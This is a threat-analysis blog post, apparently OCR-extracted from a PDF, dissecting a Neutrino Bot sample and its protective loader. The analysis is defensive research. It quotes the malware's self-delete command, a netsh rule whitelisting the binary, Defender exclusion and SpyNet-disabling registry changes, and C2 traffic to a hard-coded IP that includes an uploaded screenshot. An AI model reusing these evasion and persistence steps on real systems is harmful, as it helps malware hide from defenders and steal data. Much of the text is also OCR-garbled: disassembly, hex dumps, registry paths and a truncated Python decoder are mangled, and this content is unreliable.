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In this blog post we will cover a recent version of the multi-purpose Neutrino Bot (AKA Kasidet) which ironically
was distributed by an exploit kit of the same name. Earlier in January this year, we had described Neutrino Bot

that came via spam so we won’t go over those details again, but instead will focus on an interesting loader.

Anti VM detection is complemented by multiple layers hiding the actual core which made extraction of the final

payload a bit of challenge.
Distribution method

This sample was collected via a malvertising campaign in the US that leveraged the Neutrino exploit kit. The
infection flow starts with a fingerprinting check for virtualization, network traffic capture and antivirus software.
If any are found (i.e. not a genuine victim), the infection will not happen. This check is done via heavily
obfuscated JavaScript code in the pre-landing pages, rather than within the Flash exploit itself, like it used to in

the past.
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Once the initial check has passed, the next step is to launch a specially crafted Flash file containing a bunch of
exploits for Internet Explorer and the Flash Player (similar to what was described here). The final step is the

download and execution of the RC4 encoded payload via wscript.exe to bypass proxies.

The overall infection flow is summarized in the diagram below (click to enlarge):
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Path

Program Files'WMware'\WMware Tools‘\deployPlg dll.DLL
indowsSysWOWE4 wmGuestLib dl.DLL

Program Files'\Oracle VirtualBox Guest Additions\VBoxDisp dll. DLL

Nindows \SysWOWed\VBoxControl exe DLL

Program Files (<B6)\Fiddler2'uninst.exe DLL

“Program Files (x86)\Wireshark wireshark .exe DLL

Program Files (<BE)\FFDec'\Uninstall exe . DLL

Program Files"ESETVESET NOD32 Antivirus'equi exe DLL

“Program Files\ESET\ESET Smart Security*shellBd dil. DLL

“\Program Files"\Bitdefender Agent*Product Agent Service exe. DLL

Process Name

{2IEXPLORE.EXE

IEXPLORE.EXE
(EIEXPLORE EXE
(EEXPLORE.EXE
(2IEXPLORE.EXE
{EEXPLORE.EXE
(ENEXPLORE.EXE

IEXPLORE.EXE
.JIEXPLORE EXE

Operation

BhCreateFile
BhCreateFile
Bk CreateFile
B CreateFie
BhCreateFile
BhCreateFile
Bk CreateFile
BhCreateFile
Bk CreateFile
B CreateFie

FATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
FATH NOT FOUND

BhCreateFile
BhCreateFile
Bk CreateFile
BhCreateFile
Bk CreateFile
B CreateFie
BhCreateFile
BhCreateFile
Bk CreateFile
Bh CreateFile

(2IEXPLORE.EXE
{ENEXPLORE.EXE
(EIEXPLOREEXE

Protocol  Method

Program Files (xB6)\Kaspersky Labl
Program Files (<BE)\Kaspersky Lab"
Program Files (<BE)\Kaspersky Lab"
Program Files («BE)\Kaspersky Lab|
Program Files (eB6)\Kasperskoy Lab'
“Kaspersky Endpoint Security 10 for Windows ushata.dll.DLL
Program Files (<BE)\Kaspersky Lab"
Program Files (<BE)\Kaspersky Labl
Program Files (<BE)\Kaspersky Labl
Program Files'Quick Heal\Quick Heal Intemet Securi

Program Files («86)\Kaspersky Lab

Kaspersky Intemet Security 17.0.0%as_engine dl.DLL

\Kaspersky Anti-Virus 17.0.0%as_engine dl.DLL
Kaspersky Small Office Security 17.0.0\kas_engine dll DLL

Kaspersky Total Securty 17.0 0%cas_engine dll. DLL
Kasperskgy Small Office Securty 15.0 2\kas_engine dll DLL

Kaspersky Endpoint Security 10 for Windows SP1'wshata dl. DLL

Kaspersky Endpoint Securty 10for Windows SP2'ushata di.DLL
Kaspersky Endpoint Securty 10for Windows SP3'wshata di.DLL
\NTSYS.DLL.DLL

Comments

PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
FATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND

cdnsilo.space  fimpotences/mateys phalluses floudly longshot/manufact.
Jeoothjmousses farrogate [pavement awardee /denomin

feobaltjconjugators ffrenchman fvialled fpensionersfpsydh. ..

cdnsilo.space

45.32.107.117 cdnsilo.space

Neutrino EK (Fingerprinting Gate)
Meutrino EK. {Fingerprinting Gate)
Neutrino EK {Fingerprinting Gate)

07.117 Jfrecuperated/allegor .;J'mlncx:r,.'bllh:ly[num:roloqlgtsfan... Neutrino EK {Fingerprinti
Neutrino
Neutrino 2
Meutrino_EK_URL (Malware Payload)

movie" value="/1596/10/23/aunt they hiss/uneasy-stre-bank-bundle html swf"/=
bagcolor” value="Hd7%aac"/>
‘always" nam llowScriptAccess"/>

c6ddecc72e3097cc2el
HkSNPIGQILDEXVX

23b4cd3acalafag extracted
, exploit key

g

swf (SHA256:
YyCZIBVT peth

[+] embeded

p
{u harI\Url u
u http f,fp\uclu uquahLaL -lick-punish-secure-claw-entity-trace’,
: o 765976'
96408438"',
overhead-even-shut-earth-rule-puff-whip.html",
i -term’',
orner-determine’
ger -seldom-horizon.html'},

space/2015/04/1
space/trialf1331

3/p : - g
72/10/85/valentine/fully-threaten-f

pweki.ugquahcai.space/19

mp/nwW22
to /tmp/rubb
to Iftr"ul:-‘.frt\_c-nf
to [t

b714cea57081b0399333.¢ek. tu'm
51rji?c?5El-1aSa.d‘ f3467f8095dff791d k
1f47e6dBafs5d29ff147f6766772da
9b40e9d 3b26318d29
n?m:ffiaq:zeaddmuro:

pt.Shell

A script from Maciej Kotowicz was used to extract artifacts from the Flash file.

Analyzed samples

e b2be7836cd3edf838ca9c409ab92b36d — original sample (dropped by the EK)
o 349f5eb7c421ed49f9a260d17d4205d3 — loader
= 6239963eeda5df72995ad83dd4dedb18 — payload (Neutrino bot)
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Behavioral analysis

The sample was well protected against being deployed in a controlled environment. When it detects that it is being

run in a VM/sandbox it just deletes itself:

L W ehdwrct3.exe (PID: 2084)
L @ cndexe /a /c ping 127.0.0.1 -n 3&del "C:\ehdwrct3.exe" (PID: 2500) @

L &1 PING EXE ping 127.0.0.1 -n 3 (PID: 2580) @

If the environment passed the checks, it drops its copy into: %APPDATA%/Y1ViUVZZXQxx/.exe (during tests we

observed the following names: abgrcng.exe, uu.exe):

AppData » Roaming » YIVIUVZZX Qe ~ | +3 M Search YIVIUVZZ

n library « Share with + Burn MNew folder =
Mame Date modified Type Size
abgrcng.exe 2017-02-2215:48 Application 19 KB
The folder and the sample are hidden.
Persistence is achieved via the Task Scheduler:
MName Status Triggers Mext Run Time Last Run Time Last Run Result  Author
Admin

@ YIVIUVZZX Qo Ready At10:10 on 2011-01-10 - After triggered, repeat every 10 minutes indefinitely. 2017-02-2216:10:00 2017-02-2216:00:00 (0:0)

3

4 1 ]

General | Triggers | Actions Conditionsi Settingsi History (disabled)

When you create a task, you must specify the action that will cccur when your task starts. To change these actions, open the task property pages using the Properties

command,

Action Details
Start a program C\Users\tester\ AppData\Roaming\V1ViUVZZXCred\abgreng. exe

The malware adds and modifies several registry keys. It adds some basic settings, including the installation date:

File Edit View Favorites Help
P . RingCentral for Windows + || Mame Type Data
-l Rln.gCentraI Softphone gﬂ(Default] REG_S7 (walue not set)
. Sysinternals ab]g REG_SZ 22.02.2017
< WowB432Mode (|| 81, REG_SZ 1
fLL VIVIUVZZX G R B
4 [T 3

Computer\HKEY_USERS\5-1-5-21-3337418851-2575441358-3594538567-1000" Softwarel Y1 ViUVZZ X Qo

It modifies some keys in order to remain hidden in the system. Hidden/SuperHidden features allows its dropped

copy to remain unnoticed by the user. It disables viewing such files by modifying the following registry keys:

SoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden SoftwareMicrosoftWindowsCurrentVersionE:

It also adds itself into the firewall’s whitelist with this command:

Page 4 of 13


https://www.malwarebytes.com/malware
http://www.msfn.org/board/topic/9950-whats-superhidden-for-exactly/

https://blog.malwarebytes.com /threat-analysis/2017 /02 /new-neutrino-bot-comes-in-a-protective-loader /

cmd.exe " /a /c netsh advfirewall firewall add rule name="Y1ViUVZZXQxx" dir=in action=allow program=

Similarly, path to the malware is added to Windows Defender’s exclusions:

i || Mame Type Data
- ab) (Default) REG_SZ {value not set)

| b i-'é]C:‘\Users\tester\ﬂppData‘\Ru:uaming\‘r‘l‘u‘iU‘u’E}(Q}m\uu.E}ce REG_DWQORD 000000000 {0)

-

4| m

Computer\HKEY_LOCAL_MACHIME\SOFTWARE\Microsoft\Windows Defender\Exclusions'Paths

It disables reporting incidents to Microsoft’s cloud service (SpyNet):
HKLMSOFTWAREMicrosoftWindows DefenderSpyNetSpyNetReporting

It modifies settings of terminal services, setting MaxDisconnectionTime and MaxIdleTime to 0. Modified keys:
HKLMSOFTWAREPoliciesMicrosoftWindows NTTerminal ServicesMaxDisconnectionTime HKLMSOFTWAREPoliciesMic

If the full installation process went successfully, it finally loads the malicious core, and we can see a traffic typical
for the Neutrino Bot. You can see below the beacon “enter” and the response “success”, encoded in base64. The

response is sent as a comment in the retrieved blank html page, in order to avoid being noticed:

POST /3895614570/tasks.php HTTP/1.0

Host: 82.211.30.40

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20108181 Firefox/38.0
Content-type: application/x-www-form-urlencoded

Cookie: auth=bcee595440e801f8a5d2a2ad13b9791b

Content-length: 12

_Wv=ZWS0ZXI=

HTTP/1.1 484 Not Found

Server: nginx/1.10.2

Date: Wed, 22 Feb 2017 19:34:27 GMT
Content-Type: text/html; charset=utf8
Connection: close

X-Powered-By: PHP/5.3.3

<html=>

=head><title>484 Not Found</title></head>
<body bgcolor="white">

<center><h1>404 Not Found</hi></center>
<hr><center=>nginx</center=

</body>

</html>

<l---caVjYa2Vzocw==--->

In the next request the bot sends information about itself, and in response the CnC gives it commands to be

executed. Requests and responses are also base64 encoded. Example after decoding:

req:

cmd&9bc67713-9390-4bcd-9811-36457b704c9cGTESTMACHINE&Windows%207%20(32-bit)&0&N%2FA&5.2822.02.2017&NI
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resp:

1463020066516169#screenshot#1469100096882000#botkiller#14816420224382514#rate 154

The first command was to take a screenshot, and indeed, soon after we can see the bot sending a screenshot in JPG

format:

POST /3895614578/tasks.php HTTP/1.8

Host: 82.211.30.40

Cookie: auth=bc88595440e881f8a5d2a2ad13b9791b;uid=9bc67713-9390-4bcd-9811-36457b784c9c
User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; rv:39.8) Gecko/20180181 Firefox/38.8
Content-Type: multipart/form-data; boundary=-----------«--“--coo 1622763
Content-Length: 828906

Connection: close

————————————————————————————— 1622763
Content-Disposition: form-data;name="fname"

screenshot. jpg
————————————————————————————— 1622763
Content-Disposition: form-data; name="data"; filename="screenshot.jpg"
Content-Type: application/octet-stream
..... Y5 poood®acooac

ool 14% . ( : 3=<9387@H\NGDWE78PmQW_bghg>Maypdx\ege. . .C. . ... .. /ot

CcBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCl. v ar v
5 m

From the sent version number we can conclude, that the version of the bot is 5.2 (similarly to this campaign).

Inside

The first layer is a stub of a crypter, that overwrites the initial PE in memory by the image of the loader.

Unpacking it is demonstrated in this video: https://www.youtube.com/watch?v=m xh33M CRo.

The second layer is a loader that prevents from running the core bot in a controlled environment (i.e. on VM or
under a debugger). This element is probably new (we didn’t observe it so far in previous campaigns of Neturino
Bot, i.e. the one described here). We found the loader very effective in its protective task. Most of the sandboxes

and test VMs used during tests failed to provide any useful results.
The final payload had features typical for Neutrino Bot family.

The loader code shows that it is an integral part of the full Neutrino Bot package — not yet another layer added by
an independent crypter. Both, the payload and the loader are written in C++, use similar functions and contain
overlapping strings. It will be demonstrated in details later in this article. They both also have very close
compilation timestamps: payload: 2017-02-16 17:15:43, loader: 2017-02-16 17:15:52.

A patched version of the loader, with environment checks disabled can be viewed here.

Loader

Obfuscation techniques

The code inside contains some level of obfuscation. A few strings are visible:
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Address |Disassembly Text string

BEZFEFAA| PUSH wu . BAZF303C UHICODE *ComSpec™

BEZFSF0E| PUSH uu.BAZFSESS UMICODE ™ ~a ~c #Hs'"

BEZFE921 | PUSH wu.B82FS0CS UMICODE ""whbem™

BEZFE9EC| PUSH wuw . BEZF30AC UHICODE ""1UiUUZEHEm s

BEZFS9CE| PUSH uu.BAZFSOAC UMICODE "1 iUUZEHEms™

BOZFSC1E| MOV ESI,uu.H82F 2804 | UNICODE " #, exe™

BOZFSERS| PUSH wu.BEZF30F4 UHICODE ""Hls#"

BEZFSESS| PUSH uu.B8@2FS0E4 UMICODE "lsils"

BEZFEFSL | MOU ESI,wu.882F20AC | UNICODE "4 1UiUUEE KRR

BEZFEEES | MOL EST, uu.BE2F90AE | UNICODE "1 iUUEE s

BEZFEEES| PUSH wu.BE2F9168 UMICODE ""SeTakelwnershipPrivilege™

BEZFSE1E| PUSH wu, BAZF3168 UHICODE ""SeTakelwnershipPrivilege™

BEZFEFAE| PUSH uu.BAZFS248 UMICODE "SOFTWARE~“Microsoft ~llindows Defender-~SpyMet™
BEZFEFES| PUSH wuw,.B82FS21C UMICODE *"SpyMetReport ing™

BEZFEFED| PUSH uwu.BA2F21AS UMICODE ""SOFTWARE--Microsoft~Microsoft Ant imalwareEdclusions~~Paths™
BEZFEFOL | PUSH uwu.BB2F2122 UMICODE ""SOFTWARE-“Microsoftllindows Defender~~Exclusions~~Paths"
BOZFSYEL | RETH [Initial CPU selection)

BEZFF135| PUSH uuw.B@2F32A8 UHICODE "= ®s™

BEZFF14E| PUSH uu.B@2F32922 UNICODE s

BEZFF2EC| PUSH wu . BAZF3ZCE ASCII "IshWowsdProcess™

BEZFF271| PUSH wuw . BEZF32AC UMICOOE "kernel32™

BEZFFASE| PUSH wu.B@2F9348 UMICODE *"Admin"™

BEZFFEEC| PUSH wu.B82F3534 UHICODE ""FTSH™

BEZFFC14| PUSH uu.BA2ZFS328 UMICODE "Triggerl®™

BEZFFCZA| PUSH wuw.B@2F9264 ASCII BA,"Cannct put™

BEZFFC4E| PUSH wuw . BAZF3ZFE UHICODE "PT1@H™

BEZFFCY2| PUSH uu.B8@2F9208 UNICODE "2811-61-18T1@: 18: 86"

BEZFE1086| PUSH ox38a8a ASCII "Acts ™

¢ Directory name

e Some functions

Registry keys related with Windows Security features that are going to be disabled

e Strings used to add a new scheduled task.

However, that is not all. Most of the strings are decrypted at runtime. Here is an example of loading

an encrypted string:

BEEAS33A (| . ESBFE MOW EDI, ERAX

BEEAS33C ||« 85FF TEST EDI,EDI

HEBAG33E (| .~ 74 @0 JE SHORT abgrcng. BEERGS4D

AHEREZ48 = FUSH ESI Arg2 = AREEAREd4

AEEAEZ41 FF7E 82 FPUSH [ARG. 11 Arg2 = A241F0EB

HAHEHES 44 v FUSH EDI Argl = AE2ZSA0EE

ES 28FFFFFF CALL abgrcng. BEBAEZFE abgrcng. BASEE2TE

: . S3C4 ac AOO ESF, @ul

BEEAS340 | » SBCT MOW ERH, EDI

BEEAS34F ||« EF FOF EDI BEZSREEE

BHEAS3EE || . EE FOF ESI BEZSREEE

AEEAE3E1 . &0 FOF EEP BEZSEEEE

BEHEAE3EZ |k, C32 RETH

4

ESF=B241FD1C

Address |Hex dump HSCII

HEZSEEEE[ 48 AR 65 BB 64 BA SF BE FS BA &8 BE &7 AA &8 B8 H.e.d.o.u.h.g.h.

HEZEEE1E[ 64 BE P23 B8 A1 00 @91 B0 81 00 @1 B0 B1 B0 61 80| d.s.B.6.68.8.8,8,

GEzZSEE2E( 81 00 81 B8 61 00 B1 80 61 06 Bl 80 A1 A6 61 88| A.A.6.0.0.0.08.8,

AEZSEEZE|( 81 BR 81 88 81 OO B1 89 81 A0 B1 89 81 A0 B1 89| A.A.6.0.0.0.08.8,

AEzZoEE4E( 81 oo Bl 88 81 0D Bl 88 81 0D Bl 88 81 00 Bl 89| A.8,.8.8.8.8.8,8,

AEZEEEEE|( 81 BR Bl B8 A1 B0 Bl B8 A1 B0 Bl BB A1 @0 Al B8 A.A.8.8.8.8.8,8,

AEZEEEEE|( A1 BR Bl B8 A1 B0 Bl B8 A1 B0 @1 BB A1 A0 Al B8 A.A.8.8.8.8.8,8,

AEZEEETE( A1 AR @1 A8 A1 B0 @1 B8 A1 G0 @1 A A1 A0 A1 60| A.6.8.68.8.8.8,8,

AEZSEEEE|( 81 AR B1 B8 A1 BA B1 A9 A1 OR B1 A0 A1 AR Bl 60| A.A.68.8.8.8.08,8,

HEZ5EE9E (81 B0 81 B8 61 00 61 B0 61 00 61 B0 681 00 61 60| A.6.68.6.68.8. 8,8,

GEZSEEAE|( 81 0B 81 88 61 00 Bl 80 681 OO Bl 88 A1 06 Gl 88| A.6.6.6.0.0.08.8,

REZEoAEa| el B2 9o B2 0o 0o 9o B2 0o 00 00 02 00 00 00 Boje..l.l.lllll

First, the obfuscated string is written to the dynamically loaded memory by a dedicated function. Then, it is

decrypted using a simple, XOR-based algorithm:

def decode(data): maxlen = len(data)

The same string after decryption:
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BEER1ESZ
BEER1EGR
BEEA1ECE
BEEA1ELD
BEBALEF2
BEBALEF2
BEERLETE
AREH1E VS

BEEALIEYA
BEEALEFE

4

ECH
ECH
EC¥,ECK

e owom

ECx, [ARG. 21

FUSH _EEF
MU EBFP.ESP

[:

WORD FTR DS: [EAX+ECH#21, 641
ECH

SHORT abgrcng.@0BALIESD
EEF

abgrcng. BEEASZ2GE
abgrcng. BEBAZZ2GE

abgrcng. BEBAZZ2GE

Feturn to BOBHIZSE [ abgrcng. BEEAIZGE)

Address

Hew dump

ASCII

BEZ58888
AEzsaal1a
BEZEEE28
BE228E38
BE22EE48
BE22EA58
BEZ2EE5E
BEZS8a7a
BEZ38838
BB 238828
BEZEEEAE
BE22EEEE
BE22EECHE
BEZ26E08
BEZ2EEER
aEzseara
BEzEa188
aEzsa11a
BEZEE128
BE22E1328
BE22E148
BEZ2E1548
BEZ2E168

M e

I.d.=

[oifoiYouf o R0 Roi o oo Foi o4 d o]
oo R oo R el o o4 o4 R o o

ol Fo o Ros R cH i eH o o N

Most of the API calls are also dynamically resolved. Example:

aleaslzh
AlEEG]142
alpEslds
AlEEs149
B1EE514R
BiBas14E
B1EE&14C
aleaslqn
algaslss
A1EEE1ES

Tracing API calls helps to understand the programs’s functionality. For this reason, the authors of this malware file
implemented some of the functions without using API calls at all. In the below example you can see the function

GetLastError() implemented by reading a low-level structure: Thread Envioroment Block (TEB):

PUSH 8xe8RCYESD

« | PUSH EBX

. [EALE wu_dump. 81881560
FOF ECX

aNataiafala

[oifoiYouf o R0 Roi o oo Foi o4 d o]
[oiYodd oo oo Fogooifoa o]

[oiYodd oo oo Fogooifoa o]

oo R oo R el o o4 o4 R o o

[oioagco: fes R4 F o cifo: Foag o]

load_funct ion_bw_checksum

kernel32.CreateThread

GiaalE4l (% |PUSH EEP

BiEalE4z ||« |MOM EBF,ESP

BiaalE44 (] . | PUSH ECX

EiEE1E4S || - | AND CLOCAL. 13, &uE

AIEE1E4S || . | MOU ERX,DOWORD PTR FS:CEn12]
EiEE1E4F | . | MO EAX,DWORD PTR D5: [EAX+ExZ4]
E1EEa1EES || - | MO CLOCAL. 13, ERX

B1BE1ERE . |MOU ERX,CLOCAL.13

B1EE1EED |] . | LEAVE

A1AATFEA (L. |RFTH

Functionality

In order to prevent from being executed more than once, the loader creates a mutex with a name that

is hardcoded in the binary: 1ViUVZZXQxx.

The primary task of the loader is to check the environment, in order to make sure that the execution is not being

watched. But, in contrary to most of the malware, the check is not just done once. There is a dedicated thread

deployed:

get_last_esrror

TEE address
LastErrorlalue
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plEEsidz [ . | PUSH EBX
. |CALL wu_dump.B1881550 load_funct ion_by_checksum
BlEEs142 || . | POP ECX
BlEEE149 POF ECH
B1EEE14A FUSH EDI
B168614E FUSH EDI
BiEasi4c (| . | PUSH EDI
giaasi4n . | PUSH wu_dump.B18@142F deplow_enwironment_check
AlEEsls2 (|« | PUSH EDI
F1EAAG1ES FUSH EDI
CALL ER: kernel32.CreateThread

It runs checks in a never ending loop:

while ¢ 1)

if { (unsigned _ int8)search_blacklisted process{) || {unsigned _ int8)search_blacklisted _module(} }
++ul;

if { (unsigned _ int8)is_debugger_present({} || {(unsigned _ int8)tick_count_check{} }
++ui;

if ( (unsigned _ int8)check_blacklisted_dos_device() )
++ul;

if ( vl )
break;

enum_windows = {void (_ thiscall =){int})load_api_func{2, 8x6D1SBBBD);

enum_windows{callback_hide_blacklisted_apps);

wait_for_thread{15088};

If at any time, the loader detects i.e. some blacklisted process being deployed, execution is terminated.
Examples of the checks performed:

1. Enumerates through the list of the running processes (using dynamically loaded functions
CreateToolhelp32Snapshot — Process32First— Process32Next). Calculates checksum from each retrieved process

name and compares it with the built-in blacklist:

B1Z201869 FUSH ESI checksums_List:
A120186R MO OWORD FTRE S5:[EBF-Ex241, @-cla29E@7ER
A1201871 MO OWORD PTRE SS:L[EBP-Bx2A1], H:d47@E0E243
H1z201872 MOL OWORD PTRE SS:[EBP-E=1C1], G:CeE23220
A120187F MO DWORD PTR S55:[EEP-Bx181, Gx4cEE4F 1A
A1z01886 MO OWORD PTR S5S:[EEP-Bx141, @xFEEC4EZA
\lz018g0 MO DWORD FTR 55:LCEEBP-@x181, 9:EICECEEZ | wboHserwice.ede
Alz018%4 MO DWORD FTR S5: CEEBP-BHC], H-cOSESFOD
H1z20189E MOL OWORD FTR S5:[CEEBFP-Bx81], 0:SS3EEFES
A1z2018A2 MO OWORD FTR S5:[EBF-Bu41], 0:CESEAAES
A1z2018A% ¥OR ESI,ESI

H12018AE FUSH OWORD PTR SS: CEEP+ESI#4-8:24]
CALL uu.B1206021

Blz018e4 FOF ECH

H1z2018B5 CHMP AL, Exl

B1201EEY |~ | JE SHORT uuw.B1Z2018C4 blacklisted_process_found
A1z2018B9 IMC ESI

A12018ER CHMFP ESI, @3

@1z2018ED [~ | JE SHORT wuw.H1Z2018AB
A12018EF ¥OR AL, AL

Aiz018ci FOF ESI

Hlz018cs LERLE

RETN

search_process_bu_checksum

The blacklisted checksums:
https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-processes_blacklist-txt

Implementation of the function searching blacklisted processes — as we can see, every function is loaded

dynamically with the help of a corresponding checksum:
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TeRuBED2C push
BaNB6D3T push
PRUBGEDIT wor
BO4BEDAS call
BO4BADAR pop
BOLBEDIE pop
BO4BEDAC push
BN B6DAD push
BO4B6DIF call
BOALBODET mov
BO4BEDES Ccop
DONBGDAE fnz

18576850

1

ehx, ebx
1oad_function_by_checksum

ecx
BLR
ehx
n

eax

esi, eax
esi, BFFFFFFFFh

i Createloolhelpd2snapshot

shart loc_u4B&DNG

FPE

BBEB6DALD
BBEBGDAE loc_hHB6D4E:
BORBEDAL mow
BasB6D56 push
BONDEDSE jmp

[ebpevar_22C¢], 22Ch

BES1BE 08N

short loc 486074

: Process32First_checksum

P

BRLBGDT Y
BORBGDTY
BBLBGDT Y
BBRBGDT 6
BBLBGDTE
BBRAGDTE
BBLBGDTD
BBRB6DEI
BBLBGDEY
BBuB6DAS
BBLBGDET
BBLBGDAY

loc_48607h:

push
call
pop
pop
lea
push
push
call
test
jnz

1

load_function_by_checksun

BCX
BLX
BCX
BCX
esi
eax

eax,
short

» [ebpevar_22€]

3 Processa2First/Processid2Hext

eax
Lloc_4B6D5D

FI™E]

BaLB6DED

BOLBED5D loc_LOADSD:

BB4B6DED 1ea eax, [ebprvar_208]

BB4B86063 push
Ba4B6D6S call
BB4BED6D pop
BB4BsD6A cmp
BB4B6DAD jz

eax

calc_process_name_checksum

BCX

eax, [ebp+blacklisted_checksun]

short blacklisted_ Ffound

1

P E

FME

] 15 [
BOLB6DBE jmp

short loc_4B6D8F|

BLB6DED
BO4B6DED blacklisted found:
BOLBEDED mov

bl, 1

vy

Ba4B606F push

BABES123Fh

H PrncessazHext_checksumI

2. Searches blacklisted modules within the current process (using dynamically loaded functions

CreateToolhelp32Snapshot — Module32First— Module32Next). Similarly, it calculates the checksum from each

retrieved process name and compares it with the built-in blacklist.

Checksum calculation algorithm (implementation):

FOF _ECH

TEST AL, AL
JE SHORT uu_dump.@1881ERE
“OR ERX, ERX
JHP SHORT uwu_dump.81881ECA
MOUEX ECH,WORD FTR DS:LESI]
#OR ERH, ERA
MOU EDx,ESI
JHME SHORT uwu_dump.81881ECE

B1ECC |L.

POP ES
FOF EEP
RETH

MOUE ¥

ROL ERX, E:7
A0R ERX,ECH

ECH, CK

AOO EDX, @x2

ECx, WORD PTR DS5: [EDH]
TEST CX,CH
JHE SHORT wu_dump.81881EEY

FOUE X

I

SR

Address |Hex dump

BESCF P 3C| GE
BEISF 74| &L
BEIEF74C| 73
BESEFFES | &L
BEISEreC| ue

The blacklisted checksums:

https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-modules_blacklist-txt
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3, Checking if the process is under the debugger, using: IsDebuggerPresent, CheckRemoteDebuggerPresent
4. Detecting single-stepping with the help of time measurement, using GetTickCount — Sleep — GetTickCount
5. Anti-VM check with the help of detecting blacklisted devices — using QueryDosDevices i.e. VBoxGuest

6. Searching and hiding blacklisted windows by their classes — using EnumWindows — GetClassName (i.e.

procexpl)

00401164 add esp, OCh
884081167 push 184h
86408116C push edi
88481160 push [ebp+arg_8]

a4y e1178 call eax ;s GetClassMameW
Ay A1172 test eax, eax
00401174 jz short loc_4811A2
[l s 5=
80481176 push esi
aaue1177 xor esi, esi

'z
[l i =

88401179

88401179 loc_461179:

80401179 push edi

8048117A call calc_name_checksum

0048117F pop BCX
88481188 cmp eax, [ebp+esis=lh+var_2C]
80481184 jnz short not_found
Y
il e =]
88481186 push GC98BY9EBBh ; blacklisted found
80401188 push 2
00401180 call load_api_func
88481192 pop BCX
88461193 pop BCX
804811924 push a ; SW_HIDE
884811946 push [ebp+arg_8]
ap4a1199 call eax 3 ShowWindow
Y
I
80401198
00401198 not_found:
80401198 inc esi
8848119C cmp esi, BBh
A848119F jb short loc_uBi179

The blacklisted checksums:
https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-windows_blacklist-txt

In another thread, the malware performs operations related to the bot installation — adding a task to the Windows

Scheduler, adding exclusions to the Firewall etc.

Finally, it unpacks the final payload and runs it with the help of the Run PE method. First, it creates another

instance of its own:
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Mare |Flle vers ion |Path

uu_1L Cr=Uzers~tester-DesktopN 1L LUUE WG ~uu . el e
uuy CrUsers~tester-Desktop Y 1IUIUJE EHGMHH U . ele
T4EFEEEE | BEEZFEEE | F46F1142| samllite | 1.3.168688.8 Cr-lindows-5Sustem3d2~amllite.dll

Then, it maps a new PE file on this place:

A1z206282 FUSH EEF

B1206283 MoL EEF.ESP

A1 206985 MO ERx,. OWORD FTR SS:[EEF+E22]
B1206982 SUB ESP, Guzs

81205966 PLUSH EB:X

B120&98C MO EE, DWORD FTR DS: [ERX+@:3C]
a1z0e28F May ECH, BS540

A1z206214 FUSH ESI

B1206315 AOD EEX, ERX

B1Z06317 FUSH EDI

A1206312 CHMP WORD PTR D5:[EAXI,CH
A120E91E |~ | JME uuw. B120690F

B1206921 CHP DWORD PTR DS:[EEX], 24556
AIZ0E92F |~ | JME uuw.B120690F

aizpe220 MOW ESI, BHEBE427FC

B1206232 FUSH ESI

B1206933 FPUSH B=3

B1z206935 CALL uu.B81201560

A120692A FPOP ECH

4

O5: [H14661 80 ]1=00684558

Hddress |Hex dump HSCII

Eld4cEEEE| 40 SA 98 B8 62 00 B8 88 84 D00 B8 B8 FF FF B8 88| MEE.w...%... ..
Al4cEE1E|BE BE B8 B0 A0 B0 B8 B 48 B0 B8 B B0 B0 BB BA| S, ... .. Fuianaas
A14EEEZE| BB BE B8 B0 A0 B0 B8 B8 B0 B0 B8 B8 B0 B0 BB BA| .. ... ... cieaeeen
A14EEEZE| A0 B B@ B0 A0 BE B A0 A0 BE B A0 A0 Bl B8 B8] .......c0een [..
HA14c@E43|BE 1IF BA BE @@ B4 @9 CD 21 B2 @1 4C CD 21 54 63| A¥|H.H .=*SAL=1T
H14cEEEE| 69 F3 28 7B F2 6F &7 72 &1 &0 28 &2 &1 &E &E &F| iz program canno
AldeEEca| 74 28 62 65 28 72 V5 6E 20 &9 6E 28 44 4F B3 28|t be run in DOS
Alde@Eara| 60 6F &4 65 2E B0 80 BA 24 66 88 88 B0 66 88 88| mode. .. afueeea s
Bl4cEE3E| 37 51 28 2F F2 S0 4E FC 73 20 4E FC 73 20 4E FC|VFR -sBMis@M|s8M!
A145EE7E| FA 48 CA FC F2 30 4E FC FA 48 CO FC F2 2@ 4E FC|lzH=ircBNizH= irBH]
H14EEEAE|ER FE D& FCOF2 30 4E FC 9B 2F 4R FC Fl 3@ 4E FCiA"1icBANIT-JiglN!
Al14EEEER|FB 2C 48 FC 71 3@ 4E 7FC 9B 2F 44 FC 72 3@ 4E FC|-,@igaMi T-0Dix@N!
A14EEECH| FA 48 00 7C 66 3@ 4E 7C 72 2@ 4F 7C @8 2@ 4E 7C|zHT i fEMi=B0).8M1
Hid4e@EE0E| &2 AD E1 PC 42 3@ 4E 7PC &2 AD D2 PC 72 2@ 4E PC|lhsE ICENIhsE | rBM!
Al4eEEER|E2 &9 62 &8 72 30 4E 7C B0 OO 88 88 A0 60 88 88| RichseM!........
Al4EEEFE| AR B0 A3 A0 B0 B8 B3 80 B0 B0 B8 88 B0 B8 B8 88| ... . e ieiannnnnn
Eld4cElEn| 5@ 45 B8 88 4C @1 &4 88 SF DE AS S8 00 00 B8 88| PE..LO+. 78aH....
Al4cEl18| 80 88 B8 08 EQ 68 02 81 BB 91 G 84 08 3R 88 648|....d0.8878...0..

Payload

The loaded payload is a Neutrino Bot, with very similar features to the one that we described in
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BE3B5EES | PUSH pay load. BE3BCAL 4 UHICODE "fregswr3z™

BE3ESEZ1 | PUSH pav load. BB3BCAIS ASCII ""Software~>Y1WiUUE D BB s ~0F £~

BEZEE1VF| PUSH pay load. BRZECASS ASCII "rHwes'T

BE3BE543| PUSH pav load. BA3EBESE4 UHMICOOE ™#s Hst*

HEZB5EE4 | PUSH pavw load. BBS3BEEAC UNMICODE "rHs'"

HE2B5240| PUSH pavw load. BBSBCASC UNICODE "SebebugPriwvilege™

